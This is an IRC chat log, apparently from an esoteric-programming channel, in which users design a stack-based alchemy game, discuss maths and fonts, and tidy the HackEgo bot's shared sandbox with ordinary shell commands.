01:21:27 <HackEgo> :-( \ 0 \ yellow \ 113500 \ a \ a.o \ a.out \ argv.py \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort
01:23:04 <tswett> I know what to put in the file!
01:23:09 <tswett> Unos momentos por favor.
01:25:00 <tswett> I'm so mature and whatnot.
01:27:38 <hppavilion[1]> I'm trying to make a small text game based on stacks and semi-thue systems. But I don't know what I'm doing xD
01:30:14 <hppavilion[1]> How about... Earth, Fire, Water, Air, Wood, Metal, Void
01:30:28 <hppavilion[1]> tswett: Does that look like a good combination of elements?
01:31:17 <tswett> I don't think I can answer that. But I *like* that combination of elements.
01:34:37 <hppavilion[1]> tswett: I think I should probably add one more so I can associate every element with an opposition
01:35:26 <tswett> Earth and air seem to kind of be considered opposites, and likewise fire and water.
01:35:36 <tswett> Wood and metal are kind of "opposite-like".
01:35:48 <tswett> Organic versus inorganic.
01:35:54 <hppavilion[1]> tswett: What should be the inverse of void then? Light?
01:36:05 <tswett> Just what do you mean by "void"?
01:36:29 <hppavilion[1]> tswett: Nothingness; the complete absence of anything, including possibly spacetime itself.
01:37:19 <hppavilion[1]> Oooh, oooh, you start with a semi-randomized amount of each element and have to work from there
01:37:21 <tswett> If void is the absence of spacetime, then maybe the opposite of that is the presence of spacetime.
01:37:29 <tswett> "The fabric of spacetime", so to speak.
01:37:34 <tswett> I mean, I'm kind of making up BS here.
01:37:45 <hppavilion[1]> tswett: True, but that doesn't seem particularly useful xD.
01:38:02 <hppavilion[1]> To get more fire, you must burn wood. To get more wood, you must plant trees.
01:38:04 <tswett> But I think that thinking of space itself as being made of something is kind of a cool thought.
01:38:49 <hppavilion[1]> If you have only a bit of wood and need more fire NOW, you might just have to sacrifice future usage of wood in alchemy in order to survive in the short-term
01:41:26 <hppavilion[1]> tswett: Well, if you inverse combine air and void (just making up possible mechanics here), for example, you could possibly suck the air out of the atmosphere.
01:43:49 <hppavilion[1]> tswett: Do you think you could be any help with creating combinations for spells?
01:55:09 <HackEgo> [wiki] [[~ATH]] http://esolangs.org/w/index.php?diff=45685&oldid=45684 * 162.231.140.49 * (+7)
02:08:07 <tswett> It's tough to get people to collaborate with you, isn't it?
02:08:52 <tswett> I've... I wouldn't say I've given up getting people to collaborate with me.
02:08:59 <HackEgo> [wiki] [[Seed]] http://esolangs.org/w/index.php?diff=45686&oldid=17635 * 162.231.140.49 * (+254)
02:09:39 <tswett> But I usually assume that if I want some project to get done, I'll probably have to do at least, like, 85% of the work or whatever.
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02:11:03 <tswett> But I can also count on being able to get the occasional bit of advice.
02:11:18 <tswett> As for helping create combinations for spells...
02:11:35 <tswett> I don't really know the context here. I'd have to learn more about your ideas.
02:12:01 <tswett> You know, you do have a lot of interesting ideas.
02:13:53 <tswett> The one that *I* remember finding most interesting is the language where the syntax forms a graph instead of just a tree.
02:19:40 <HackEgo> <oerjan> YOU are out of order.
02:24:56 <hppavilion[1]> OK, there are 3 ways of storing data: The inventory stack, the accumulator, and the satchel, together called the Stacchel
02:25:36 <hppavilion[1]> You can manipulate a stack normally (though $ for drop actually puts something in your satchel and : for dup takes something out of your satchel based on the ToS)
02:25:51 <hppavilion[1]> And to combine items, you must ^ (accumulate) into an already-filled accumulator
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02:55:15 <hppavilion[1]> Two new elements I'm considering adding: Information and Obfuscation
02:59:09 <hppavilion[1]> Though you can also do verbose commands if it suits you better, which it probably does
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03:44:17 <quintopia> what documentation do you have so far?
03:57:11 <hppavilion[1]> quintopia: I have a document specifying the elements, an overview of the gameplay, a list of commands, and am just now starting on the recipes.
03:57:30 <hppavilion[1]> It's a quite simple game for now, but it might get more advanced
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04:06:43 <hppavilion[1]> quintopia: zzo38: It's a game that works on a stack-based language, though one of the beautiful things is that it need not be typed by hand: One can engineer a client that does it for you
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04:09:01 <hppavilion[1]> (Unless it's a REALLY high-level client, in which case it's no longer a fun game)
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04:15:42 <hppavilion[1]> (If it indeed turns out to be a fun game in the first place)
04:19:18 <zzo38> Magic: the Gathering uses stack too
04:21:25 <quintopia> what about magic the gathering card deck of programming language?
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04:55:58 <lambdabot> tswett said 5h 41m 15s ago: So can you give a counterexample to my assertion that if a function is differentiable at a point, then it's also differentiable on a disc surrounding that point?
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04:57:30 <oerjan> @tell tswett i already did, and mauris repeated it when you saw it.
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05:39:38 <oerjan> @tell tswett <tswett> I don't think that works. I think in the complex numbers, that's not differentiable at 0. <-- it works if the original function is bounded hth
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05:41:25 <oerjan> @tell tswett in fact then you don't even need a continuous function to start with
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05:44:14 * oerjan needs to finish learning discussions before sending @tells
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06:54:03 <hppavilion[2]> OK, Perhaps I should add foriegn-language commands to MSM
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07:21:59 <HackEgo> :-( \ 0 \ yellow \ 113500 \ a \ a.o \ a.out \ argv.py \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort
07:22:26 <HackEgo> 113500: ASCII text, with very long lines, with CRLF line terminators
07:22:32 <HackEgo> --[------->++<]>-.[->+++<]>.+++++.-----------.+++++++++.+++++++++.+[->+++<]>++.+.--[--->+<]>-.--[->++<]>.--[->++<]>-.+.++[->+++<]>++.+++++.++++++.[->+++++<]>+++.+[--->+<]>+++.++[->+++<]>.>++++++++++.-[->++++<]>-.[->+++<]>.+++++.-----------.+++++++++.+++++++++.+[->+++<]>++.+.--[--->+<]>-.--[->++<]>.--[->++<]>-.+.++[->+++<]>++.+++++.+++++.++++++.[
07:22:56 <HackEgo> :-( \ yellow \ a.o \ a.out \ argv.py \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness
07:23:05 <HackEgo> a.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
07:23:17 <HackEgo> import sys \ print(sys.argv)
07:23:45 <HackEgo> ls: cannot access blah*: No such file or directory
07:23:54 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness \ MaFV \ nwzouew \ oerjan \ pas
07:24:16 <HackEgo> ls: cannot access *la*: No such file or directory
07:24:31 <HackEgo> blah \ blah \ blah \ blah \ blah
07:25:04 <oerjan> `cat blah \ blah \ blah
07:25:12 <oerjan> `rm blah \ blah \ blah
07:25:56 <HackEgo> I 5053 pci_id: con ing! \ I 4681 ehci 0xf43d000:15: regista14: [0xbffff 0xfed nosabled 00-02] Zonseres: brips byted nored) \ W 3654 e8] PGTT ASF! 00f00000003.2: 0x000 - 0000: 00009dbfffec00000: Pround/f1743colled \ I 4076 verse.' \ I 4764 He trusts to you to set them free, \ I 858 your pocket?' he went on, turning to Alice. \ I 898 would be offende
07:26:08 <HackEgo> error.log: ASCII text, with very long lines
07:26:43 <HackEgo> etc/*: ERROR: cannot open `etc/*' (No such file or directory)
07:26:56 <HackEgo> etc \ etc/luarocks \ etc/luarocks/config.lua
07:27:18 <oerjan> `` grep luarocks bin/*
07:27:19 <HackEgo> bin/luarocks:local command_line = require("luarocks.command_line") \ bin/luarocks:program_name = "luarocks" \ bin/luarocks:commands.help = require("luarocks.help") \ bin/luarocks:commands.pack = require("luarocks.pack") \ bin/luarocks:commands.unpack = require("luarocks.unpack") \ bin/luarocks:commands.build = require("luarocks.build") \ bin/luaroc
07:27:46 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness \ MaFV \ nwzouew \ oerjan \ paste \ people.py \ pref \ prefs \ py.py \ quines \ quo
07:28:05 <HackEgo> factor \ factor/factor.image
07:28:16 <HackEgo> Binary file bin/units matches
07:28:35 <oerjan> `` grep factor.image bin/*
07:28:45 <FireFly> `hexdump -C factor/factor.image
07:28:46 <HackEgo> hexdump: invalid option -- ' ' \ usage: hexdump [-bcCdovx] [-e fmt] [-f fmt_file] [-n length] \ [-s skip] [file ...] \ hd [-bcdovx] [-e fmt] [-f fmt_file] [-n length] \ [-s skip] [file ...]
07:28:52 <FireFly> `` hexdump -C factor/factor.image
07:28:53 <HackEgo> 00000000 0c 0d 0e 0f 00 00 00 00 04 00 00 00 00 00 00 00 |................| \ 00000010 00 00 5c 2c e1 7f 00 00 e0 fb bb 05 00 00 00 00 |..\,............| \ 00000020 00 f0 11 28 e1 7f 00 00 20 56 f5 00 00 00 00 00 |...(.... V......| \ 00000030 2c f3 65 2c e1 7f 00 00 05 00 5c 2c e1 7f 00 00 |,.e,......\,....| \ 00000040 25 00 5c 2c e1 7
07:29:09 <oerjan> `culprits factor/factor.image
07:29:11 <HackEgo> oerjan elliott ais523 ais523 elliott FreeFull sgeo
07:29:36 <FireFly> probably best to keep it for now
07:29:42 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness \ MaFV \ nwzouew \ oerjan \ paste \ people.py \ pref \ prefs \ py.py \ quines \ quo
07:30:21 <HackEgo> hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x3db23553f95ba53719226a2c73a0ad9d79e975ab, not stripped
07:30:39 <HackEgo> const char main[] = "AXAYAZA[A\\ATX-pppp-0```- ///P^VTXH10XP4>40PZ414>P_\x0f\x05XATASARAQAP\xc3Hello, world!\n";
07:30:45 <HackEgo> brainfuck.fu \ egobot.tar.xz \ emmental.hs \ factor-linux-x86-64-0.95.tar.gz \ fizziecoin.jpg \ fueue.c \ ploki \ ploki-0.6.5.1.tar.bz2 \ ul.emm
07:31:04 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness \ MaFV \ nwzouew \ oerjan \ paste \ people.py \ pref \ prefs \ py.py \ quines \ quotes \ random_elliott \ real \ script.p
07:31:30 <HackEgo> rm: cannot remove `index*': No such file or directory
07:31:49 <HackEgo> #include <stdio.h> \ int compare(char *s,char *c){return*c-*s;}int main(){char w[40];int c,i=0;while( \ 1){c=getchar();if(c<=32||c==EOF){qsort(w,i,1,compare);w[i]=0;printf("%s",w);if(c \ ==EOF)break;putchar(c);i=0;}else{w[i++]=c;}}}
07:32:10 <HackEgo> ls: cannot access bin/*sor*: No such file or directory
07:32:21 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ madness \ MaFV \ nwzouew \ oerjan \ paste \ people.py \ pref \ prefs \ py.py \ quines \ quotes \ random_elliott \ real \ script.ppy \ script.py \ selflink \ share \ src \ temp
07:32:42 <HackEgo> lib \ lib/frink \ lib/c++decl \ lib/interp \ lib/dcc \ lib/frink.jar \ lib/cdecl \ lib/karma
07:32:50 <HackEgo> MaFV: C source, ASCII text
07:32:54 <HackEgo> #include <stdio.h> \ \ int c; \ \ void s() \ { \ unsigned int m = 0xFFFF; \ #define F(m,n,v,c,b) \ \ for (int v = 0; v < 16; v++) { \ \ if ((m & (1 << v)) && (c)) { \ \ unsigned int n = m - (1 << v); \ \ b \ \
07:33:11 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/MaFV
07:33:42 <HackEgo> ls: cannot access bin/Ma*: No such file or directory
07:34:00 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ nwzouew \ oerjan \ paste \ people.py \ pref \ prefs \ py.py \ quines \ quotes \ random_elliott \ real \ script.ppy \ script.py \ selflink \ share \ src \ temp.o \ test \ test2
07:34:12 <HackEgo> cat: nwzouew: Is a directory
07:35:04 <HackEgo> cat: oerjan: Is a directory
07:35:38 <HackEgo> 1256 ++++++++++++++[>++++++++>+++++>++++++++>++<<<<-]>>----.>-.<<++++.>>>++++.<+.++.<+++++++++++++++++++++++++++++++++++.+.+++.<++++.>>-------------.<<-----.>>-------------------------------------------.>.<<---.<++.-------.>+.<+.+++++.>>>.<<---------.>>++++++++++++.------------.++++++++++++++++++++++++++++++++++++++++.+++++++++++++++++++++++++.<<++
07:35:48 <HackEgo> 1110 ++++++++++++++[>+++++>++>++++++++>++++++++<<<<-]>----.>>>-.<++++.<++++.>>+.++.<<<+++++++++++++++++++++++++++++++++++.+.>>>---------.<++++.>----.<-----.<++++++++++++++++++++++++++.--------------------------.>>+.<++.-------.>+.<+.+++++.<.<--------.>++++++++++++.------------.>--------------------------------------------.>------.++.++++++++.<---.+
07:35:57 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ py.py \ quines \ quotes \ random_elliott \ real \ script.ppy \ script.py \ selflink \ share \ src \ temp.o \ test \ test2 \ testbegin \ testend \ twolines \ Virgolang
07:36:21 <HackEgo> elliott \ a \ b \ c \ d \ e \ f \ g \ h \ i \ j \ k \ l \ m \ n \ o \ p \ q \ r \ s \ t \ u \ v \ w \ x \ y \ z
07:36:33 <HackEgo> cat: real: No such file or directory
07:36:53 <HackEgo> cat: real: No such file or directory
07:37:19 <HackEgo> rev: real: open failed: No such file or directory
07:37:33 <HackEgo> real: broken symbolic link to `wisdom/{the reals}'
07:37:48 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ script.ppy \ script.py \ selflink \ share \ src \ temp.o \ test \ test2 \ testbegin \ testend \ twolines \ Virgolang \ VirgoLang \ Wierd \ wisdom \ w
07:37:59 <HackEgo> for x in users: \ print(t+x)
07:38:12 <HackEgo> users = ['hppavilion1', 'Not ZombieCheney'] \ print 'These are the users who bothered to edit our file (If you did it, you are hardcore):' \ for x in users: \ print(x+', ')
07:38:32 <HackEgo> ls: cannot access seflink: No such file or directory
07:38:36 <HackEgo> -rw-r--r-- 1 5000 0 3 Jun 12 03:18 selflink
07:38:58 <HackEgo> 0110010000110001100010011001100011110000011100
07:39:23 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ share \ src \ testend \ twolines \ Virgolang \ VirgoLang \ Wierd \ wisdom \ wisdom.pdf
07:39:49 <HackEgo> cat: Virgolang: Is a directory
07:40:15 <HackEgo> rmdir: failed to remove `Wierd': Not a directory
07:40:19 <HackEgo> <!DOCTYPE html> \ <html lang="en" dir="ltr" class="client-nojs"> \ <head> \ <title>Wierd - Esolang</title> \ <meta charset="UTF-8" /> \ <meta name="generator" content="MediaWiki 1.20.4" /> \ <link rel="alternate" type="application/x-wiki" title="Edit" href="/w/index.php?title=Wierd&action=edit" /> \ <link rel="edit" title="Edit" href="/w/ind
07:40:35 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ share \ src \ wisdom \ wisdom.pdf
07:40:43 <oerjan> myname: probably a wiki download
07:41:09 <FireFly> Is that used for anything?
07:41:11 <HackEgo> 8ballreplies \ awesome \ cat \ construct_grams.pl \ delvs-master \ esolangs.txt \ esolangs.txt.sorted \ hello \ hello.c \ lua \ maze \ maze.c \ radio.php?out=inline&shuffle=1&limit=1&filter=*MitamineLab* \ units.dat \ WordData
07:41:57 <oerjan> `` diff {share,src}/hello.c
07:41:58 <HackEgo> 1c1 \ < const short main[] = {18517,58761,49201,49801,49407,51081,3816,0,18432,27749,28524,8236,28535,27762,8548,24074,3762,1295,15536,-207,1295}; \ --- \ > const char main[] = "AXAYAZA[A\\ATX-pppp-0```- ///P^VTXH10XP4>40PZ414>P_\x0f\x05XATASARAQAP\xc3Hello, world!\n";
07:42:33 <oerjan> `` diff {share,src}/hello
07:42:33 <HackEgo> diff: src/hello: No such file or directory
07:42:35 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/radio.php%3Fout%3Dinline%26shuffle%3D1%26limit%3D1%26filter%3D%2AMitamineLab%2A
07:42:44 <HackEgo> ELF............>......@.....@..................@.8..@....................@.......@.....:.......:......... ...................@......@.....$.......$..............Qtd...........................................................GNU.ﲜ@+S
07:43:27 <oerjan> FireFly: share/ is often where i put things from . that i don't want to delete
07:43:36 <HackEgo> brainfuck.fu \ egobot.tar.xz \ emmental.hs \ factor-linux-x86-64-0.95.tar.gz \ fizziecoin.jpg \ fueue.c \ hello.c \ ploki \ ploki-0.6.5.1.tar.bz2 \ ul.emm
07:43:50 <FireFly> I don't see a point in keeping radio* though
07:44:11 <oerjan> `` mv src/hello.c share/hello2.c
07:44:32 <HackEgo> ls: cannot access bin/*radio*: No such file or directory
07:45:14 <oerjan> FireFly: anyway, i'm not usually cleaning out other than the top.
07:45:21 <HackEgo> :-( \ yellow \ autowelcome_status \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ share \ src \ wisdom \ wisdom.pdf
07:45:30 <FireFly> makes sense, it's mostly /hackenv that matters anyway
07:45:41 <HackEgo> bin/autowelcome:[ "$1" == "on" ] && echo enabled > autowelcome_status; [ "$1" == "off" ] && echo disabled > autowelcome_status; echo "Autowelcome $(cat autowelcome_status)."
07:46:00 <oerjan> shachaf: is there a problem?
07:46:13 <shachaf> Why is autowelcome writing a state file?
07:46:15 <oerjan> `` culprits autowelcome_*
07:46:17 <HackEgo> tswett tswett tswett tswett
07:46:22 <shachaf> That defeats the whole spirit.
07:47:23 <shachaf> Doesn't matter now that it's defeated.
07:47:39 <oerjan> `` mv autowelcome_status share; sed -i 's!autow!share/autow!' bin/autowelcome
07:47:47 <HackEgo> cat: autowelcome_status: No such file or directory \ Autowelcome .
07:48:05 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
07:48:16 <oerjan> `cat autowelcome_status
07:48:45 <HackEgo> [ "$1" == "on" ] && echo enabled > autowelcome_status; [ "$1" == "off" ] && echo disabled > autowelcome_status; echo "Autowelcome $(cat autowelcome_status)."
07:49:10 <oerjan> `` sed -i 's!autow!share/autow!`g' bin/autowelcome
07:49:11 <HackEgo> sed: -e expression #1, char 21: unknown option to `s'
07:49:19 <oerjan> `` sed -i 's!autow!share/autow!g' bin/autowelcome
07:49:25 <HackEgo> cat: share/autowelcome_status: No such file or directory \ Autowelcome .
07:49:45 <oerjan> `` mv autowelcome_status share
07:49:55 <HackEgo> :-( \ yellow \ bdsmreclist \ bin \ canary \ cat \ Complaints \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ share \ src \ wisdom \ wisdom.pdf
07:50:34 <oerjan> short enough. not sure about wisdom.pdf, i doubt it's up to date anyway
07:50:34 <FireFly> `` cat :-( :-D cat dog canary
07:50:35 <HackEgo> bash: -c: line 0: syntax error near unexpected token `(' \ bash: -c: line 0: `cat :-( :-D cat dog canary '
07:50:50 <FireFly> `` cat :-\( :-D cat dog canary
07:50:50 <HackEgo> ☹ \ ☺ \ Meow~~ >^.^< \ ヽ༼ຈل͜ຈ༽ﾉ \ Spjætt!
07:50:55 <oerjan> canary is essential. the others are jokes.
07:51:12 <FireFly> oh, canary doesn't say 'chirp chirp' anymore
07:51:19 <HackEgo> oerjan oerjan ais523 shachaf ais523 oerjan oerjan ais523 oerjan oerjan oerjan oerjan oerjan oerjan oerjan ais523 ais523 ais523 shachaf int-e oerjan elliott elliott elliott elliott elliott elliott elliott ais523 ais523 elliott FreeFull c00kiemon5ter Phantom_Hoover elliott oerjan shachaf elliott ais523 elliott
07:51:20 <oerjan> it's been changes a lot
07:51:31 <FireFly> I don't know why I expected anything else
07:53:21 <oerjan> FireFly: it's even been a directory, which is why `revert now gives a (harmless) error message...
07:53:51 <oerjan> unfortunately changing it back didn't fix it, the error applies when it has _ever_ been a directory...
07:54:07 <oerjan> fizzie has been supposed to fix it for a long time.
07:54:46 <FireFly> oerjan: 'fix' as in purge the history of it ever being a directory, essentially?
07:55:15 <oerjan> FireFly: not necessarily. he (or Gregor`) could also fix the actual script, i assume...
07:55:41 <oerjan> otherwise it'd just break again the next time someone does it...
07:57:14 <HackEgo> cat: complaints: No such file or directory
07:57:20 <HackEgo> Complaints file lacks file extension making it look like a directory. Which is confusing
07:57:35 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found
07:58:04 <oerjan> hppavilion[2]: that's not an error message, it's an actual complaint that it looks like a directory hth
07:58:14 <oerjan> (i believe zzo38 made it)
07:58:33 <HackEgo> hppavilion[1] int-e mroman_ mroman_ mroman_
07:58:41 <hppavilion[2]> I should file a complaint about it being confusing.
07:58:54 <HackEgo> print_args_or_input "$@" >> Complaints; echo Complaint filed. Thank you.
07:58:57 <HackEgo> ls: cannot access bi/*comp*: No such file or directory
07:59:54 <shachaf> `` hg log Complaints | grep summary:
07:59:55 <HackEgo> summary: <hppavilion[1]> complain Complaints file lacks file extension making it look like a directory. Which is confusing \ summary: <int-e> ` true > Complaints \ summary: <mroman_> echo > Complaints \ summary: <mroman_> complain Bye \ summary: <mroman_> echo Hi >> Complaints
08:00:17 <hppavilion[2]> `complain The above complaint looks like an error message, but it's actually a complaint
08:00:19 <HackEgo> Complaint filed. Thank you.
08:00:30 <HackEgo> Complaints file lacks file extension making it look like a directory. Which is confusing \ The above complaint looks like an error message, but it's actually a complaint
08:00:50 <HackEgo> bin/complain \ bin/complaints
08:01:41 <FireFly> Better not move the database
08:01:43 <HackEgo> bin/complaints \ bin/complain
08:02:04 <FireFly> hppavilion[2]: word count (or line count, in this case)
08:02:05 <HackEgo> man: can't open the manpath configuration file /etc/manpath.config
08:02:29 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ke: not found
08:02:52 <hppavilion[2]> Huh. I would think any two-letter combination would be a linux command that does exactly what you expect
08:02:56 <oerjan> `` mv Complaints Complaints.mp3; sed -i 's!Complaints!Complaints.mp3!' bin/complain
08:03:10 <oerjan> i think that should fix all the outstanding complaints hth
08:03:27 <shachaf> oerjan: you forgot to fix bin/complaints hth
08:03:35 <HackEgo> :-( \ yellow \ bdsmreclist \ bin \ canary \ cat \ Complaints.mp3 \ :-D \ dog \ emoticons \ etc \ evil \ factor \ good \ ibin \ interps \ le \ lib \ paste \ quines \ quotes \ share \ src \ wisdom \ wisdom.pdf
08:03:48 <oerjan> `` sed -i 's!Complaints!Complaints.mp3!' bin/complaints
08:04:16 <HackEgo> Complaints file lacks file extension making it look like a directory. Which is confusing \ The above complaint looks like an error message, but it's actually a complaint
08:04:19 <hppavilion[2]> `complain now the former complaints make no sense because the complaints file was moved
08:04:21 <HackEgo> Complaint filed. Thank you.
08:04:27 <HackEgo> cat: complaints: No such file or directory
08:04:41 <HackEgo> Complaints file lacks file extension making it look like a directory. Which is confusing \ The above complaint looks like an error message, but it's actually a complaint \ now the former complaints make no sense because the complaints file was moved
08:05:05 -!- hppavilion[2] has changed nick to hppavilion[1].
08:05:17 <shachaf> oerjan: why would you have a directory called Complaints.mp3 tmns
08:06:17 <oerjan> `complain The complaints above are not using periods properly.
08:06:19 <HackEgo> Complaint filed. Thank you.
08:07:10 <FireFly> This makes it lose its charm
08:08:36 <FireFly> I would think `complaints is supposed to number the Complaints, not the Complaints.mp3
08:10:10 <shachaf> i,i ln -s Complaints.mp3 Complaints && wc -l Complaints && rm Complaints
08:10:42 <shachaf> i,i mv Complaints 'Complaints filed'
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08:12:49 <HackEgo> cat "$(find evil -type f | shuf -n1)" | tr '[:lower:]' '[:upper:]'
08:13:30 <HackEgo> "Spock, did you see the looks on their faces?" \ "Yes, Captain, a sort of vacant contentment."
08:14:06 <HackEgo> It takes strength to admit your own weaknesses.
08:14:07 <FireFly> I'm not sure what set of fortunes HackEgo has
08:14:28 <HackEgo> cat "$(find good -type f | shuf -n1)"
08:14:28 <oerjan> hppavilion[1]: tswett already did, he got a bout of bad conscience
08:14:49 * FireFly . o O ( find "$0" -type f )
08:14:55 <hppavilion[1]> Oooh, how about a `sin command that randomly selects a deadly sin from a directory? Sort of like evil, but we really just dump things we hate people doing. You know what? Nevermind.
08:15:04 <HackEgo> cat: bin/sin: No such file or directory
08:15:14 <oerjan> FireFly: `evil doesn't work the same
08:15:28 <FireFly> Right, there's the uppercase too
08:16:02 <shachaf> `` echo 'echo "$0"' > bin/dollarzero; chmod +x bin/dollarzero; dollarzero; rm bin/dollarzero
08:16:34 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: dollarzero: not found
08:16:35 <HackEgo> key=$(mk "$@") && echo "$key" && chmod +x "$key"
08:16:39 <HackEgo> [[ "$1" == ?*//* ]] || exit 1; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$key" && echo "$key"
08:17:19 <shachaf> `` mkx 'bin/dollarzero//echo "$0"'; dollarzero; rm bin/dollarzero
08:17:19 <HackEgo> bin/dollarzero \ /hackenv/bin/dollarzero
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08:18:05 <HackEgo> It takes strength to admit your own weaknesses.
08:18:09 * oerjan swats shachaf for not remembering how his own command works -----###
08:18:09 <HackEgo> There is a way out. Finding it will be difficult. It may be the hardest thing you've ever done. Find it anyway.
08:18:50 <HackEgo> 295 \ 503 \ 544 \ 755 \ 786
08:19:03 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: neutral: not found
08:19:40 <HackEgo> tswett tswett tswett tswett tswett
08:19:43 <HackEgo> tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett tswett
08:19:57 <oerjan> i was already sick of both `evil and `good, just from reading the logs when tswett added them :(
08:20:03 <shachaf> not collaborative enough hth
08:20:24 <shachaf> HackEgo decisions shouldn't be made by fiat
08:30:52 <FireFly> shachaf: I don't think Fiat's in the HackEgo business
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09:02:11 <oerjan> some mathematicians have been drunk before https://en.wikipedia.org/wiki/Field_with_one_element
09:11:33 <hppavilion[1]> izabera: https://duckduckgo.com/?q=%22one-valued+logic%22
09:15:10 <izabera> hppavilion[1]: written in word
09:16:40 <hppavilion[1]> I do agree that any mathematician who can't use LaTeX or TeX or ConTeXt or anything like that isn't a real mathematician
09:17:09 <hppavilion[1]> izabera: I was reading this one though: http://www.jstor.org/stable/pdf/2218364.pdf?seq=1#page_scan_tab_contents
09:18:19 <izabera> i can't read more than the the first page
09:18:59 <hppavilion[1]> Yeah, if you produce a PDF that doesn't have grainy text then you aren't a real mathematician. I'm completely serious. Not kidding. At all.
09:20:13 <hppavilion[1]> izabera: Though, it appears it was published in a philosophy paper, so maybe I am drunk
09:20:29 <izabera> i don't know what the "logic of ejaculations" is and i'm not even sure i want to know it
09:22:16 <izabera> nonsense is not really interesting
09:22:58 <hppavilion[1]> But it's interesting to try to come up with bullshit.
09:23:17 <oerjan> strange-valued logics are the domain of toposes, i think, but i've never made the effort to actually learn those.
09:23:40 <oerjan> or topoi, if you prefer
09:23:43 <hppavilion[1]> izabera: What I think I mean is complex boolean logic
09:24:27 <hppavilion[1]> A four-valued logic where everything is either FG, FU, GG, or GU.
09:24:49 <oerjan> i vaguely recall that each topos has an object that corresponds to its "booleans" (was it discriminator?)
09:26:12 <hppavilion[1]> I suppose it'd be easier to represent them as FF, FT, TF, and TT
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09:38:48 <lifthrasiir> seriously considering to add a triangular/pentagonal pixel with 1:2 or 2:1 slope
09:44:35 <nvd> lifthrasiir: what are you working on?
09:44:54 <lifthrasiir> nvd: a scalable pan-Unicode bitmap font (just like /oren/'s, but also scalable).
09:45:00 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample
09:45:33 <nvd> Your lambda is a bit weird
09:46:09 <lifthrasiir> the current scheme has a fundamental restriction on the triangle slope (1:1 only)
09:48:26 <lifthrasiir> nvd: the lower-case lambda should be a bit better. for the upper-case lambda, uh, no idea.
09:48:51 <lifthrasiir> (the current shape is essentially an A without a horiz. line)
